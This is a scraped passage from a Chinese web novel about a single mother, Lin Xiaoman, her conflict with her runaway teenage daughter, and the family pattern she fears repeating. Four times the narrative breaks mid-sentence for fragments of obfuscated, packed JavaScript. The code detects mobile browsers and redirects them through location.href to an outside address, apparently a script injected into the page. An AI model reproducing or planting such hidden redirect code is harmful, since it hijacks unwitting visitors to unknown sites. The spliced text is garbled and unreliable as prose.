后来奶奶不喊了。 后来奶奶只是把饭放在门口,敲一下门,就走了。 她那时候不知道,奶奶站在门口,站了多久。 她不知道奶奶也在哭。 她什么都不知道。 现在她知道了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347234|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她看着那扇门,想着女儿在里面,是不是也跟她当年一样,捂着耳朵,不想听她说话。 她站起来,走到门口,抬起手,敲了三下。 轻轻的。 “饭在门口。饿了就出来吃。” 里面没声音。 她又站了一会儿,然后转身,回自己屋了。 躺在床上,睡不着。 盯着天花板。 天花板上没有裂缝。 她搬进这个房子的时候,特意看了,没有裂缝。她不想让女儿跟她小时候一样,每天盯着一条裂缝发呆。 但现在她想,也许有一条裂缝也好。 起码有个地方可以发呆。 手机又震了。 她拿起来看,是女儿发的微信:我不饿。 她看着这两个字,看了很久。 然后她回:那明天早上吃。 那边没回。 她把手机放下,闭上眼睛。 脑子里还是那些事。 过去的事,现在的事,将来的事。 将来会怎么样? 女儿会跟她一样吗?也会在十四岁的时候遇见一个男孩,也会被骗,也会怀孕,也会辍学,也会结婚,也会被抛弃,也会一个人养孩子? 她不敢想。 但不得不想。 因为她知道,这种事是会遗传的。 不是基因那种遗传,是命运那种。 她妈不管她,她管不了女儿。 奶奶管她,管不住。 她现在管女儿,也管不住。 一代一代,循环往复,像那个词说的—— 原生家庭。 她以前不信这个。 她觉得只要自己够努力,够用心,就能打破这个循环。 现在她信了。 不是不够努力,是不够用。 有些东西,不是你努力就能改变的。 比如你是什么样的妈,你女儿就会是什么样。 比如你经历过什么,你女儿也会经历什么。 比如你逃不掉的,她也逃不掉。 林小满翻了个身,把脸埋进枕头里。 枕头湿了。 她不知道自己哭了多久。 只知道后来天亮了,窗帘外面透进来光,白白的,很刺眼。 她起来,走到女儿门口。 饭还在那儿,没动。 她敲门。 “起床了,上学要迟到了。” 里面没声音。 她又敲。 还是没声音。 她慌了,推门。 门没锁。 推开来,屋里没人。 床是乱的,被子掉在地上。窗户开着,窗帘在风里飘。 林小满的脑子嗡的一声,一片空白。 她冲过去,趴在窗口往下看。 没有。 什么都没有。 她转身往外跑,跑到门口又停下来。 手机响了。 拿起来看,是女儿发的微信:我去奶奶那儿了。你别找我。 林小满盯着那几个字,盯了很久。 然后她蹲下来,蹲在地上,哭了。 哭得浑身发抖,哭得上气不接下气。 她想起很多年前,她也这样跑过。 从学校跑出去,从家里跑出去,从所有人身边跑出去。 跑到火车站,跑到外地,跑到一个谁也不认识的地方。 那时候她以为,跑了就好了。 跑了就有出路了。 跑了就能重新开始了。 现在她知道,跑不掉的。 跑到哪,你都是你。 发生过的,永远在那。 她蹲在地上,哭了很久。 久到手机又响了。 这回是女儿她奶奶——她的前婆婆,那个当年在派出所跟她妈吵架的女人。 “小满,孩子在我这儿。你别担心。” 林小满握着手机,说不出话。 “她说跟你吵架了,不想回去。我说让她待两天,冷静冷静。你看行不?” 她张了张嘴,半天才发出声音。 “行。” “你别急啊,孩子都这样,我那时候周深也这样。过两天就好了。” 林小满听着这话,不知道该哭还是该笑。 过两天就好了。 过两天能好吗? 她不知道。 她只知道,她现在站在这个空了的房间里,看着那扇开着的窗户,看着那条飘着的窗帘,心里空空的。 像被人掏走了什么。 她挂了电话,慢慢站起来,走到女儿床边,把被子捡起来,放好。 枕头上有几根头发,长长的,黑的。 她捡起来,看了看,又放下了。 然后她走到客厅,坐下。 灯还是没开。 窗外阳光照进来,很亮。 她坐在那片光里,看着那扇关着的门。 女儿还会回来吗? 回来了还会走吗? 走了还会回来吗? 她不知道。 她只知道,她十四岁那年,也这样跑过。 跑了很远。 后来回来了。 但有些东西,永远回不来了。 她把脸埋进手里,肩膀又开始抖。 这一次,她没出声。 只是抖。 抖了很久。 久到阳光从左边移到右边,久到屋里又暗下来,久到路灯亮了,把那点黄黄的光从窗户透进来,在地上画出一个模糊的方块。 她就这么坐着。 等着。 等女儿回来。 17. 命运循环16 林小满第二天还是去上班了。 早上七点起床,洗脸刷牙,换衣服,出门。跟平时一样。公交上人挤人,她被挤在角落里,抓着扶手,看着窗外绿油油的树木一片一片过去。 手机掏出来看了三次。 没有消息。 女儿没发。前婆婆也没发。 她忍着没问。 到了公司,打卡,开电脑,回微信。跟平时一样。同事跟她说话,她嗯嗯啊啊地应,其实根本没听进去。 中午吃饭,她一个人坐在工位上,对着盒饭发呆。 盒饭是楼下买的,两荤一素,十五块。她吃了两口,吃不下了。 拿起手机,翻到女儿的微信,盯着那个头像看了很久。 头像是女儿自己的照片,比着剪刀手,笑得挺好看。 她打了几个字,又删掉。 再打几个字,又删掉。 最后只发了一条:吃饭了吗? 等了十分钟,没回。 她又发:在奶奶那儿好好的,别惹事。 还是没回。 她把手机扣在桌上,强迫自己吃饭。吃一口,看一眼手机。吃一口,看一眼。 下午开会,她坐在那儿,一句话都没听进去。领导点名问她意见,她愣了一下,说“我同意”。旁边人看了她一眼,没说话。 下班的时候,天已经黑了。 她坐公交回家,顺便也买了点菜,想着万一女儿回来,还能做饭。 到家,开门,开灯。 屋里空空的。 她把菜放进冰箱,换了拖鞋,坐在沙发上。 手机掏出来,还是没有消息。 她深吸一口气,拨了电话。 响了很久,那边接了。 “喂?” 是女儿的声音,懒懒的,像刚睡醒。 “是我。” “我知道。” 沉默了几秒。 “在奶奶那儿呢?” “嗯。” “吃饭了吗?” “吃了。” “吃的啥?” “随便吃的。” 林小满握着手机,不知道该说什么。她想问你怎么还不回来,想问你想不想妈妈,想问你是不是还在生气。但她问不出口。 “你……什么时候回来?” 那边沉默了一会儿。 “不知道。” “什么叫不知道?” “就是不知道。” 林小满的火气一下就上来了。 “你什么意思?不打算回来了?” “我没说不回来。” “那你什么时候回来?” “我说了不知道。” “不知道不知道,你什么都不知道!你跑出去的时候怎么知道跑?现在问你就不知道了?” 那边没说话。 林小满喘着气,握着手机的手都在抖。 她知道自己不该发火。她打电话的时候跟自己说了无数遍,好好说话,别发火,别骂人。但一开口,那些话就自己往外冒,根本控制不住。 “喂?” 没声音。 “说话!” “说什么?我说什么你都要骂。” 林小满愣住了。 “我没骂你。” “你没骂?你刚才不是在骂?” “我那是……那是着急。” “着急就能骂人?” 林小满张了张嘴,没说出话来。 那边继续说。 “你每次都这样。明明是你打电话来的,明明是你问我话的,我好好回答,你就开始骂。骂完又说你没骂。我都不想跟你说话。” 林小满的眼眶红了。 “我……” “你什么你?你知道我为什么不回去吗?就因为跟你说话太累了。说什么你都要管,说什么你都要骂。我不想回去。” “你不想回来?你才十四岁,你不想回来你去哪?” “我去哪都行,就是不想在你身边。” 林小满的眼泪下来了。 “你怎么能这么说?” “我说错了吗?你问问你自己,你对我好过吗?” “我怎么对你不好?我天天加班赚钱,给你交学费买衣服买手机,你要什么我没给?” “我要的不是这些。” “那你要什么?” 那边沉默了。 “你要什么你倒是说啊!” “我说了你听得进去吗?” “你说!” 又沉默了几秒。 “我要你陪我。” 林小满愣住了。 “我每天放学回来,家里都是空的。你给我留饭,在桌上放着,你人呢?在加班。周末我想出去玩,你说你要加班。我想让你陪我看个电影,你说你要加班。我生病了,一个人在家躺着,你给我打电话说多喝热水,你人呢?在加班。” 林小满张了张嘴,说不出话。 “你以为给我买东西就是对我好?你以为给我钱就是爱我?我要的不是那些。我要你陪我。我要你在我身边。我要你像别的妈妈那样,放学来接我,周末带我出去玩,晚上陪我说说话。” “可是我……” “可是你要加班。我知道。你说了八百遍了。你加班是为了我。你赚钱是为了我。你累成这样也是为了我。所以你就可以不管我了?所以我就要感激你了?” 林小满的眼泪流得满脸都是。 “我不是这个意思……” “那你是什么意思?你告诉我,你是什么意思?” 她答不上来。 她不知道该怎么答。 她只知道她拼命工作,拼命赚钱,就是为了让女儿过上好日子。她不想让女儿跟她小时候一样,吃不饱穿不暖,想要什么都要忍着。 但她从来没想过,女儿要的不是那些。 “妈。” 女儿的声音突然变了,变得很轻。 “你知道我最想要什么吗?” 林小满握着手机,说不出话。 “我最想要的,是你别把我当成你小时候。” 林小满浑身一震。 “你小时候没妈疼,所以你想把所有的爱都给我。但你知道吗,你给我的是爱吗?是控制。你什么都管我,什么都替我决定,什么都不让我自己做。你怕我走你的老路,所以你把我关在笼子里。” “我没有……” “你有。你从来不问我想什么,只告诉你应该怎么想。你从来不问我想要什么,只给我你觉得我需要的。你把我当成你小时候,你想把那些你当年没得到的东西都塞给我。但我不需要那些。” 林小满的眼泪止不住地流。 “我需要你陪我。需要你听我说话。需要你把我当个人,不是你的附属品。你懂吗?” 她不懂。 她真的不懂。 她只知道她拼命爱她,拼了命地爱她,比爱自己还爱她。 但女儿说这不是爱。 是控制。 “喂?” “……” “妈?” 她张了张嘴,发出一点声音。 “我在。” 那边沉默了几秒。 “我不跟你说了。说多了你又生气。” “我没生气。” “你刚才就在生气。” “我不是生气,我是……” 是什么?她不知道。 她只知道心里堵得慌,堵得喘不上气。 “妈。” “嗯?” “你去看过心理医生吗?” 她愣住了。 “什么?” “心理医生。你该去看看。” “我为什么要看心理医生?” “因为你不对劲。” 她听着这话,不知道该哭还是该笑。 她女儿,十四岁,说她不对劲,让她去看心理医生。 “我没病。” “我没说你有病。我是说,你该找个人聊聊。你心里装了太多东西了。” “我心里有什么?” “你自己知道。” 她不说话了。 她心里有什么? 她心里有十五岁那年的事。有周深。有火车站。有派出所。有三万彩礼。有一个人养孩子的那些年。有奶奶走的那天。有无数个加班的夜晚,无数个累到想哭但忍住没哭的瞬间。 她心里有太多东西了。 多到装不下。 但她从来没跟任何人说过。 她不知道怎么跟人说。 说了有什么用?谁替她扛? “妈。” “嗯?” “我知道你爱我。” 林小满的眼泪又下来了。 “但你的爱,太累了。” 电话挂了。 她握着手机,坐在沙发上,一动不动。 眼泪一直流,流到嘴角,咸的。 她没擦。 窗外路灯亮了,黄黄的光透进来,在地上画出一个模糊的方块。 她就那么坐着,坐到天完全黑下来,坐到屋里什么都看不见。 手机又震了一下。 她拿起来看,是女儿发的:我周五回去。你别担心。 她盯着这几个字,盯了很久。 然后她回:好。 把手机放下,继续坐着。 脑子里全是刚才那些话。 “你把我当成你小时候。” “你把那些你当年没得到的东西都塞给我。” “我不需要那些。” “你的爱,太累了。” 她想起很多年前,她也跟奶奶说过类似的话。 那时候奶奶给她买东西,买手机买平板买衣服,她说我不要这些,我要你陪我。奶奶说我要赚钱,不赚钱怎么给你买?她说我不要你买,我要你陪我。 奶奶那时候的表情,她没看见。 她把自己关在屋里,没看。 现在她知道了。 奶奶那时候,跟她现在一样。 都是拼命想给,但给错了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347235|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西。 都是拼命想爱,但不会爱。 她站起来,走到女儿房间门口,推开门。 屋里黑黑的,什么都看不清。她开了灯,站在门口,看着那张床,那张书桌,那个衣柜。 床单是她上周换的,淡粉色,女儿自己挑的。书桌上摆着课本、笔记本、笔筒,还有一张照片。照片是她们俩的,去年暑假去海边玩,别人帮她们拍的。女儿搂着她,笑得很好看。 她走过去,拿起那张照片,看了很久。 那时候女儿还小,还愿意搂着她。 那时候她们还没吵成这样。 她把照片放回去,转身出来,把门关上。 回到客厅,坐下。 手机又震了。 这回是女儿发的第二条:你别多想。我就是想静静。 她看着这行字,不知道该回什么。 最后只回了一个字:嗯。 放下手机,继续坐着。 她想了很多。 想女儿说的那些话,想自己这些年做的事,想奶奶当年是怎么对她的,想她是怎么对女儿的。 想着想着,她明白了一件事。 她以为她能避免女儿的悲剧,是因为她经历过,她知道什么是对什么是错。 但她错了。 经历过的人,不一定知道怎么避免。 因为她自己就是那个悲剧本身。 她身上带着那个悲剧的所有痕迹,所有伤痕,所有毛病。她再怎么努力,那些东西都在。会在她不注意的时候冒出来,会在她控制不住的时候爆发,会让她变成她最不想变成的那种人。 基因。 不是生理上的基因,是命运上的基因。 你妈怎么对你,你就怎么对你女儿。 你奶奶怎么对你妈,你妈就怎么对你。 一代一代,传下去。 她想打破这个循环。 但她发现,循环不是你想打破就能打破的。 它在你骨头里,在血里,在每一声控制不住的吼叫里,在每一句脱口而出的责骂里。 你不想发火,但你发了。 你不想控制,但你控了。 你不想变成她,但你已经是了。 林小满把脸埋进手里。 肩膀抖得厉害。 但她没出声。 她只是坐在那儿,在黑黑的客厅里,在黄黄的路灯光里,一个人。 想着她女儿,十四岁,在别人家里。 想着她女儿说的那些话,一句一句,像刀子。 想着她女儿周五会回来。 回来之后呢? 还会吵吗? 还会跑吗? 还会说她的爱太累吗? 她不知道。 她只知道,她得学着改。 学着控制脾气,学着听她说话,学着把她当个人,不是自己的附属品。 但她不知道能不能学会。 她从来没学过这个。 没人教过她。 她拿起手机,翻到女儿的微信,打了很久的字。 打了删,删了打。 最后只发了一条:周五我去接你。 等了一会儿,那边回:不用,我自己回。 她看着这行字,想了想,又发:那我在家等你。 那边回:嗯。 她放下手机,站起来,走到窗边,看着外面的路灯。 路灯黄黄的,照着一小片地。有个人骑着电动车过去,影子拉得很长。 她看着那个影子,想起很多年前,她也这样看着窗外。 那时候她在等奶奶回来。 奶奶去赶集,说给她买糖葫芦。 她等了一下午,等到天黑,等到路灯亮起来。 奶奶回来了,没买到糖葫芦。卖糖葫芦的今天没来。 她哭了。 不是想吃糖葫芦,是觉得奶奶说话不算话。 奶奶抱着她,说下次,下次一定买。 下次真的买了。 她吃着那串糖葫芦,又甜又酸。 现在她想,奶奶那时候是不是也这样,站在窗边,等过她? 等她放学,等她回家,等她从那扇门里走进来? 应该是等过的。 但她从来没注意过。 她只知道自己的事,不知道奶奶的。 就像现在,她女儿只知道自己的事,不知道她的。 一代一代。 循环。 林小满从窗边回来,坐到沙发上,拿起手机,又看了一遍那些聊天记录。 女儿说:你的爱太累了。 她看着这行字,看了很久。 然后她回了一条:妈妈在学。 等了几分钟,那边没回。 她又发:学怎么爱你。 还是没回。 她把手机放下,闭上眼睛。 眼泪又流下来。 但她没睁眼。 就那么坐着,在黑黑的客厅里,在黄黄的路灯光里,一个人。 等着周五。 18. 命运循环 林小满是被闹钟叫醒的。 七点整,手机在枕头边震个不停。她睁开眼,盯着天花板看了几秒,才想起来今天还要上班。 起床,洗脸,换衣服。经过女儿门口的时候她停了一下,门关着,里面没声音。她抬起手想敲门,又放下了。 算了。让她多睡会儿。 她轻手轻脚地出门,坐电梯下楼。外面天已经亮了,太阳还没出来,天边有一层淡淡的红。路上的人多起来,赶着上班的,赶着上学的,脚步匆匆。 她在小区门口的包子铺买了两个包子,边走边吃。走到公交站的时候,包子吃完了,正好车来。 上去,刷卡,往后走。 早高峰的公交挤得要命,她被人流推到车厢中间,抓住一个扶手站好。旁边是个年轻男人,穿着格子衬衫,戴着耳机,低头看手机。对面坐着个老太太,抱着个菜篮子,里面装着青菜和豆腐。 车开了,晃晃悠悠的。 林小满靠着扶手,看着窗外发呆。脑子里还在想昨天的事,想女儿那些话,想自己那些话,想锁上的门,想前婆婆来的时候。 想得头疼。 然后她闻到一股烟味。 很冲,很呛,从前面飘过来。她皱了皱眉,往前看。车厢前部靠近后门的地方,一个男人正叼着烟,吞云吐雾。 四十来岁,光头,穿着件皱巴巴的T恤,肚腩挺得老高。他旁边的人都在躲,有人捂着鼻子往旁边挤,有人皱着眉头瞪他。但他浑然不觉,抽得挺自在。 林小满下意识地抬起手,捂住了鼻子。 那个男人正好回头,看见她的动作,愣了一下,然后瞪了她一眼。 那眼神明明白白写着:你捂什么捂? 林小满没理他,继续捂着鼻子。 男人又抽了一口,吐出一团烟雾,然后开口了。 “你抽不抽?” 林小满看着他。 “不抽。” “不抽你捂什么?” “烟味呛。” 男人笑了,笑得有点油。 “呛?这才叫男人味儿。你懂不懂?” 林小满没说话。 脑子里突然闪过一个画面。 很多年前,那个出租屋。周深坐在床边抽烟,烟雾缭绕,满屋子都是那个味儿。她让他去厕所抽,他不去。她说开窗通通风,他开一下又关上。后来厕所的墙都熏黄了,一股洗不掉的烟油味儿。 她讨厌那个味儿。 讨厌了很多年。 “喂,想什么呢?” 那个男人的声音把她拉回来。 林小满看着他,看着他手里的烟,看着烟雾往上飘,飘到车顶上,飘到旁边人躲开的缝隙里。 “你能不能别在车上抽烟?” 男人愣了一下。 “公共场合,不能抽烟。”林小满说,“车上有标志。” 男人顺着她指的方向看了一眼,确实有,一个红色的禁止吸烟标志,贴得很显眼。 但他没当回事。 “标志?标志算个屁。老子抽了几十年,谁管过?” “现在有人管了。” “你管?”男人上下打量她,“你谁啊?管这么宽?” 林小满看着他,看着他光光的头,看着他油腻腻的脸,看着他手里那根烧得正旺的烟。 “我是乘客。我不想吸二手烟。” 男人又笑了,这回笑得更大声。 “二手烟?哈哈哈,你懂什么叫二手烟?那叫香!你不抽你不知道,这玩意儿多好,提神醒脑,比咖啡都管用。” 林小满没说话。 男人往她这边凑了凑,把烟举起来,对着她。 “要不你也来一口?抽了你就知道了,好滋味。” 林小满往后躲了一下。 “不用。” “怕啥?又不会死。”男人晃晃手里的烟,“男人抽点烟怎么了?你们女的就是事情多。这也不行那也不行,管天管地管空气,累不累?” 旁边有人小声笑了一下。 林小满看着那个人,看着他那副“你们女人就是事多”的表情。 她想起周深也说过类似的话。 “抽根烟怎么了?又不是吸毒。你管这么多干嘛?” 那时候她没说话。她不敢说。 但现在她不是十五岁了。 “我不是管你抽烟。”她说,“我是让你别在公共场合抽。这车上有老人有小孩,有孕妇有病人,你一个人抽烟,一车人吸二手烟。你觉得合适吗?” 男人愣了一下,然后脸上的表情变了。 不是生气,是那种“这女的有病”的表情。 “你跟我讲道理?” “对,讲道理。” “你讲什么道理?”他把烟往地上一扔,用脚碾灭,“老子不抽了,行了吧?满意了?” 林小满看着他扔在地上的烟头,看着还在冒烟的烟灰。 “地上不能扔垃圾。” 男人的脸一下子涨红了。 “你他妈没完了是吧?” “我只是提醒你。” “提醒?你算老几?我抽烟你管,我扔烟头你也管?你太平洋警察啊?” 林小满没说话。 旁边有人开始看热闹,有人往这边挤,有人掏出手机想拍。车厢里嗡嗡的,说什么的都有。 男人环顾一圈,看见那么多人看着,脸上有点挂不住。 他上下打量着林小满,从头看到脚,又从脚看到头。 然后他笑了一下,笑得有点怪。 “行,你厉害。我不跟你吵。” 他把烟头捡起来,揣进口袋里。 “这样可以了吧?” 林小满点点头。 “谢谢。” 男人看着她,看了几秒,然后转身,往车门口挤过去。 下一站,车停了,他下去了。 走的时候还回头看了她一眼,那眼神她说不上来是什么。有点不服气,有点好奇,还有点别的什么。 车门关上,车又开了。 车厢里安静下来,有人小声议论,有人用眼神看她。她没理,继续抓着扶手,看着窗外。 旁边那个戴耳机的年轻男人摘下一只耳机,看着她。 “姐,你挺厉害的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347236|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林小满转过头。 “那种人,一般没人敢说。” 她没说话。 “你怎么敢说的?” 她想了想。 “习惯了。” 年轻男人愣了一下,然后笑了。 “习惯了?你天天跟人吵架啊?” 不是跟人吵架。 是跟生活吵。 但她没说。 车到站了,她挤下车,往公司走。 太阳已经出来了,照在身上暖洋洋的。她走在人群里,一步一步,像什么都没发生过一样。 但脑子里还在想那个男人。 不是想他抽烟的事,是想他说的那句话。 “男人抽点烟怎么了?” 是啊,男人抽点烟怎么了? 周深也抽烟。她前夫也抽烟。很多男人都抽烟。 他们觉得没什么。 但他们不知道,那些烟雾会熏黄墙,会呛进肺里,会留在记忆里很多年。 她推开公司大门,打卡,上楼。 坐到工位上的时候,手机震了一下。 是前婆婆发的。 “孩子上学去了。早上自己起的,自己吃的饭,自己走的。挺好的。” 林小满看着这行字,心里突然有点软。 她回:谢谢妈。 那边又发:你好好上班,别担心。 她回:嗯。 放下手机,打开电脑,开始工作。 一上午忙忙碌碌,开会,回微信,做推广方案。忙起来就顾不上想了,那些乱七八糟的事暂时被压下去。 中午吃饭的时候,领导走过来。 “林小满,有个事跟你说。” 她抬起头。 “下周有个出差,去临市,三天两夜。本来是小王去的,他家里有事去不了,你替一下?” 她想了想。 “行。” “那就定了。具体安排我发你微信。” “好。” 领导走了。 她继续吃饭。 吃完饭回来,手机上有条新消息,还是前婆婆发的。 “出差几天?” 她回:三天。下周一走,周三回来。 那边回:孩子你放心,我照顾。 她看着这几个字,眼眶有点热。 她回:谢谢妈。 那边没再回。 她把手机放下,继续工作。 下午开会,做方案,跟客户沟通。忙到六点,下班。 坐公交回家,顺路买了点菜。到家开门,屋里黑黑的,女儿那屋门关着。 她把菜放冰箱,换了拖鞋,在女儿门口站了一下。 里面没声音。 她抬起手,想敲门。 又放下了。 转身回自己屋,躺下,看着天花板。 天花板上什么都没有,白白的。 但今天她没看见那条裂缝。 可能是太累了。 她闭上眼睛。 明天又是新的一天。 女儿还在那扇门后面。 生活还在继续。 19. 命运循环18 出差第一天,临市,阴天。 林小满早上六点起床,在酒店餐厅吃了早饭,七点半赶到客户公司。一天开了四个会,中午吃的盒饭,晚上陪客户吃饭,回到酒店已经九点半。 洗了澡,躺在床上,拿手机看。 班级群里消息99+。 她点进去,往上翻。 班主任发的:各位家长,期末考试安排如下:下周一语文、数学,周二英语、科学,周三上午考完,下午放假。请提醒孩子带齐文具,按时到校。 下面一堆家长回复:收到,谢谢老师。 班主任又发:暑假注意事项:1.防溺水,不要让孩子私自下水游泳;2.交通安全,遵守交通规则;3.合理安排作息,按时完成暑假作业。暑假作业清单已发给孩子,请家长督促完成。 又是满屏的收到谢谢。 林小满往下翻,翻到班主任发的放假通知:7月10日正式放假,8月31日报到,9月1日开学。 她把这几条消息截图,发给了前婆婆。 “妈,期末安排,你帮着看看。” 前婆婆回得很快:收到了。孩子考试的事我知道,她跟我说了。 林小满:那就好。我周三回去。 前婆婆:你忙你的,家里有我。 林小满看着这行字,心里有点暖。 她把截图又转发给了另一个微信。 那个微信头像是黑的,名字是一串英文字母,她已经很久没点开过了。 前夫。 发完她就把手机放下了。 但过了一会儿,手机震了。 她拿起来看,是前夫回的:? 就一个问号。 她回:老师发的,你看看。 那边回:看什么? 她:期末安排,暑假时间。 那边回:我在外地,管不了。 她看着这几个字,手停在屏幕上方。 管不了。 就三个字。 她想起很多年前,他也是这么说的。 孩子生病,她说你能回来吗?他说在外地,回不来。 孩子开家长会,她说你能去吗?他说在加班,去不了。 孩子过生日,她说你能打个电话吗?他说忙,忘了。 后来她才知道,他不是在外地,是在别人那儿。 不是加班,是在陪别人。 不是忙忘了,是不想打。 那个女的,她见过一次。瘦瘦的,染着黄头发,说话嗲嗲的。在他们那个出租屋里,穿着他的T恤,光着腿,坐在床上。 她推门进去的时候,那女的还冲她笑了一下。 她没吵,没闹,没打。 只是转身走了。 然后去办了离婚。 那些日子,现在想起来还是疼。 不是心疼,是胃疼。那种一想起就胃里翻涌的疼,那种吃不下饭睡不着觉的疼,那种整个人被掏空的疼。 但她熬过来了。 一个人带孩子,一个人上班,一个人扛所有的事。 熬过来了。 手机又震了。 前夫又发了一条:没什么事我删了。 她看着这行字,没回。 她把手机放下,躺在床上,盯着天花板。 酒店的天花板很白,什么都没有。 但她脑子里有画面。 那个出租屋,那张床,那个穿他T恤的女人。 还有他说的那些话。 “我跟她没什么。” “你想多了。” “你要这么想我也没办法。” 最后那句最经典。 你要这么想我也没办法。 她想什么了? 她想的是事实。 但她没说。 她只是点了点头,说:离吧。 他愣了一下,说:你想好了? 她说:想好了。 他说:孩子怎么办? 她说:我带。 他说:那房子呢? 她说:归你。 他说:那存款呢? 她说:归你。 他看着她,看了很久,然后说:你是不是早就想离了? 她没回答。 她只是站起来,走了。 走出那间屋,走出那段婚姻,走出那个噩梦。 门口的阳光很刺眼。 她眯着眼睛,站了一会儿。 然后往前走。 一直走到现在。 林小满翻了个身,把脸埋进枕头里。 枕头有股消毒水的味道,不太舒服。 她又翻回来,看着天花板。 那些事,过去好几年了。 现在想起来,还是有点难受。 但不像以前那样,一想就喘不上气。 现在只是有点堵,堵一会儿就过去了。 时间真是好东西。 能冲淡一切。 她把手机拿起来,又看了看那条消息。 “没什么事我删了。” 她回了一个字:嗯。 然后把聊天记录删了。 不是拉黑,是删记录。 留着也没用。 第二天,还是阴天。 她继续开会,继续见客户,继续吃盒饭。 晚上回酒店,班级群里又发了新消息。 班主任发的:各位家长,期末考试成绩出来后,我们会发到家长群。请家长不要着急,不要给孩子太大压力。每个孩子都有自己的节奏,慢慢来。 她看着那句“每个孩子都有自己的节奏”,愣了一会儿。 慢慢来。 她想起女儿小时候,学走路比别人慢,学说话比别人慢,上幼儿园还哭了一个月。她那时候急得要死,天天催,天天骂。 后来奶奶说:你急什么?她该会的时候自然会。 她不信。 现在她信了。 每个孩子都有自己的节奏。 慢慢来。 她给前婆婆发消息:妈,孩子这几天怎么样? 前婆婆回:挺好的。天天写作业,复习,说下周考试。 她:没闹吧? 前婆婆:没闹。挺乖的。 她看着“挺乖的”这三个字,心里有点复杂。 在她面前就不乖。 在奶奶面前就乖。 是她有问题吗? 还是女儿有问题? 她不知道。 她只知道自己得改。 改那些控制欲,改那些急脾气,改那些脱口而出的骂。 改很难。 但她得改。 第三天,晴天。 上午开完最后一个会,中午吃了饭,下午坐高铁回去。 高铁上人不多,她找了个靠窗的位置坐下。 窗外阳光很好,照得田野一片金黄。 有房子,有树,有牛,有电线杆。 那些电线杆一根一根往后倒,像在给她让路。 她看着那些风景,心里突然有点轻松。 三天没见女儿,不知道她怎么样。 考完试就放假了,可以陪她几天。 陪她看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347237|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看电影,逛逛街,吃吃饭。 就像普通母女那样。 她想着这些,嘴角有点往上弯。 窗外的风景一直在变。 有村子,有小镇,有城市。 有河,有桥,有山。 太阳在云里穿进穿出,把大地照得明明暗暗。 她看着那些明明暗暗,想起自己这三十年。 也是明明暗暗的。 有亮的的时候,有暗的时候。 现在好像正在往亮的地方走。 虽然慢,但在走。 她希望女儿也能往亮的地方走。 走一条跟她不一样的路。 不要吃她吃过的苦,不要走她走过的弯路,不要掉进她掉过的坑。 但她知道,这些不是靠希望就能实现的。 得靠她一点一点改。 改那些不对的地方,改那些伤人的习惯,改那些从上一代传下来的毛病。 很难。 但得改。 窗外的阳光照进来,落在她脸上,暖暖的。 她眯着眼睛,靠着窗户,睡着了。 睡得很沉,很香。 一直到站才醒。 下车,出站,坐地铁,回家。 到家门口的时候,她深吸一口气,开门。 屋里亮着灯。 女儿坐在餐桌前,在写作业。 听见开门声,抬起头,看了她一眼。 那眼神还是有点躲闪,但没躲开。 “回来了?” “嗯。” 她换鞋,放下包,走过去。 “写作业呢?” “嗯,复习。” 她站在旁边,看着女儿低头写字的侧脸。 那个侧脸,跟她很像。 “饿不饿?” “不饿,奶奶做饭了。” “奶奶呢?” “回去了,刚走。” 她点点头。 “那你想吃什么?我给你做。” 女儿抬起头,看着她。 “不用,我吃过了。” “那……我给你切点水果?” 女儿愣了一下,然后点点头。 “行。” 林小满走进厨房,打开冰箱,拿出一个苹果,一个梨。 她慢慢切着,切成小块,装在碗里,端出去。 “吃吧。” 女儿拿起牙签,扎了一块苹果,放进嘴里。 林小满在她对面坐下,看着她吃。 窗外天黑了,屋里灯亮着。 很安静。 林小满开口了。 “考试有信心吗?” 女儿嚼着苹果,想了想。 “还行吧。” “别紧张,考什么样都行。” 女儿抬起头,看着她,眼神有点惊讶。 “你……不要求我考第一了?” 林小满愣了一下。 “不要求。尽力就行。” 女儿看了她几秒,然后低下头,继续吃苹果。 过了一会儿,女儿开口了。 “妈。” “嗯?” “你这次出差,累不累?” 林小满眼眶突然有点热。 “不累。” 女儿没再说话。 她也没再说话。 就坐在那儿,一个吃,一个看。 